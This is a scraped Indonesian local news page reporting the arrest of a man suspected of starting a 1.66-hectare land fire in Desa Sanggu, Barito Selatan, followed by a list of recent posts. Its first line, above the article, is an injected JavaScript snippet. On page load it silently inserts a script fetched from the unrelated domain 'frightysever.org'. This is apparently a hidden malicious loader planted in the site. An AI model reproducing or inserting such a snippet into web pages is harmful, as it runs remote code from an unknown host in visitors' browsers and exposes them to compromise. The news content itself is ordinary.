(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polsek Dusel Tangkap MS Terduga Pelaku Pembakaran Lahan


BUNTOK, Seorang pelaku pembakaran hutan dan lahan di Desa Sanggu, jalan Kumbang Bernaung, RT 004 RW 002, Kecamatan Dusun Selatan (Dusel), pada Sabtu (7/9) sekitar 13:00 Wib, berhasil diamankan polisi.

Kapolres Barsel Wahid Kurniawan melalui Kapolsek Dusel Ipda Abi Karsa mengatakan, Unit Patroli Dusel bersama dengan anggota BPBD Barsel melaksanakan patroli di desa Sanggu, jalan Kumbang Bernaung, pada saat itu menemukan lahan yang sedang terbakar. Setelah melakukan penyelidikan didapat informasi bahwa yang telah melakukan pembakaran lahan tersebut adalah MS warga kelahiran Tuyau. Petugas mencari dan mengamankan MS dan barang bukti ke Mapolsek Dusel untuk menjalani proses penyidikan lebih Lanjut.

“Saat melakukan patroli, petugas mendapati lahan terbakar dan berdasarkan informasi yang di dapat di lapangan, kita berhasil mengamankan MS sebagai pelaku pembakaran lahan tersebut,” kata Abi kepada Kanalkalimantan.com, Minggu (8/9).

Terduga MS saat diperiksa di Mpolsek Dusun Selatan. foto: polsek dusel

Lebih lanjut dikatakan Kapolsek, alasan pelaku membakar berawal dari membakar tumpukan kayu ranting kering bekas potongan kayu untuk mengusir nyamuk.

Namun api tersebut ditinggal oleh MS makan siang, sehingga api tumpukan kayu ranting kering tersebut merambat meluas ke lahan milik orang lain, sehingga mengakibatkan kebakaran yang dengan luas lahan kurang lebih 1,66 hektare.

“Jadi alasan pelaku berawal dari mengusir nyamuk dengam membakar tumpukan kayu ranting, yang kemudian ditinggal makan, kebakaran meluas hingga satu hectare lebih,” beber Abi.

Ditambahkan olehnya untuk pelaku masih dilakukan pemeriksaan Mapolsek Dusel dan apabila terbukti akan dilakukan penindakan secara tegas sebagaimana dimaksud dalam pasal 25 ayat (1) Jo Pasal 2 Ayat (1) Perda Propinsi Kalteng No. 5 Tahun 2003 tentang pengendalian kebakaran hutan dan atau lahan.

“Saya mengimbau kepada masyarakat agar jangan membakar hutan dan lahan selama musim kemarau ini, karena siapapun pelakunya, akan ditindak tegas,” tandas Abi. (digdo)

Reporter : digdo
Editor : Bie

 


Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

11 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

11 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

12 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

13 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

13 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

17 jam ago

This website uses cookies.